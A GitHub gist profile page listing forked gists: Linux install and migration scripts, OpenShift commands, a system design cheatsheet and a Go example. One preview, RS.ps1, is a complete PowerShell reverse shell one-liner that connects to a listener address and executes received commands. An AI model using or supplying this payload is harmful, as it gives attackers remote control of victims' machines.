Skip to content

Instantly share code, notes, and snippets.

View shizonic's full-sized avatar
💭
[ -n "$problems" ] && solve || chill

shizonic shizonic

💭
[ -n "$problems" ] && solve || chill
View GitHub Profile
@shizonic
shizonic / alpine-install.sh
Created May 5, 2020 09:01 — forked from thde/alpine-install.sh
A script to install alpine linux on a dedicated server. Tested on Hetzner, Kimsufi / OVH
#!/bin/sh
set -ex
PATH=/bin:/sbin:/usr/bin:/usr/sbin
KEYMAP="us us"
HOST=alpine
USER=anon
ROOT_FS=ext4
BOOT_FS=ext4
@shizonic
shizonic / fucktheskullofsystemd.sh
Created March 29, 2020 21:01 — forked from artixnous/fucktheskullofsystemd.sh
Fast convert systemd Arch to OpenRC Artix
#!/bin/sh
# nous,2019-2020
# How to use
# wget https://tiny.cc/fucksystemd
# chmod +x fucksystemd
# sudo ./fucksystemd
# Test Arch ISO installation:
# cfdisk /dev/sda
@shizonic
shizonic / kubernetes-openshift.md
Created February 5, 2020 13:32 — forked from 4nn0/kubernetes-openshift.md
Openshift / Kubernetes

Description

Some example commands for openshift/kubernetes, replace the oc with kubectl or otherwise

get all pods from all namespaces comma separated with namespace, pod name, container name, container image, pod status

oc get pods --all-namespaces -o go-template='{{range .items}}{{$status := .status.phase}}{{$namespace := .metadata.namespace}}{{$podname := .metadata.name}}{{range .spec.containers}}{{$namespace}}{{","}}{{$podname}}{{","}}{{.name}}{{","}}{{.image}}{{","}}{{$status}}{{"\n"}}{{end}}{{end}}'

get all pods from all namespaces comma separated with namespace, pod name, scc

oc get pods --all-namespaces -o go-template='{{range .items}}{{.metadata.namespace}},{{.metadata.name}},{{range $key, $element := .metadata.annotations}}{{if eq $key "openshift.io/scc"}}{{$element}}{{end}}{{end}}{{"\n"}}{{end}}'

get all sccs with attrubite .allowPrivilegedContainer true

@shizonic
shizonic / System Design.md
Created December 28, 2019 07:19 — forked from vasanthk/System Design.md
System Design Cheatsheet

System Design Cheatsheet

Picking the right architecture = Picking the right battles + Managing trade-offs

Basic Steps

  1. Clarify and agree on the scope of the system
  • User cases (description of sequences of events that, taken together, lead to a system doing something useful)
    • Who is going to use it?
    • How are they going to use it?
@shizonic
shizonic / README.md
Created December 4, 2019 19:02 — forked from gbrlsnchs/README.md
Void Linux Installation Guide (UEFI + chroot + brtfs + LUKS Encryption)

Void Linux installation guide!

Live image

Logging in

User is anon and password is voidlinux. The root user is root and has the same password. This document implies you're using the root user, so no sudo is used until the main user is created and used.

Setting keyboard layout

@shizonic
shizonic / 00-gentoo-installation-partitioning
Created November 28, 2019 11:59 — forked from renich/00-gentoo-installation-partitioning.bash
Install Gentoo Desktop into BtrFS subvolumes
#!/usr/bin/env bash
# WARNING!!
# This will obliterate all the data in your partition!! (not actually true, but act as if it was)
# Do NOT execute this script if you don't fully understand it!
# a few vars
amount_of_swap=$( free --si -g | grep Mem: | gawk '{ print $2 + 1}' )
# create partitions
@shizonic
shizonic / RS.ps1
Created November 25, 2019 18:47 — forked from ohpe/RS.ps1
PowerShell Reverse Shell
powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('<LISTENERIP>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
@shizonic
shizonic / bulletproof_arch.txt
Created November 21, 2019 15:33 — forked from altercation/bulletproof_arch.txt
Bulletproof Arch - Minimal Clean Install
These are working notes on the installation of Arch Linux. I've just completed this install on a notebook (Lenovo P50)
but the setup should work for most laptop/desktop configurations.
Some assumptions/notes:
1. This isn't a dual boot configuration. I can see some of the appeal and still work in Adobe from time to time, but given
the increasing complexity of EFI and the way Windows/MS manhandles the EFI partition during upgrades, I really would
recommend steering clear of dual boot. Just my two cents here.
2. We're encrypting with LUKS. I've used so-called "self encrypting drives" as well (and linux has multiple ways of dealing
@shizonic
shizonic / piping.go
Created October 15, 2019 04:16 — forked from kylelemons/piping.go
piping exec.Cmd in golang (example sorts all regular files under a directory by their extension)
package main
import (
"bytes"
"exec"
"log"
"os"
)
// Pipeline strings together the given exec.Cmd commands in a similar fashion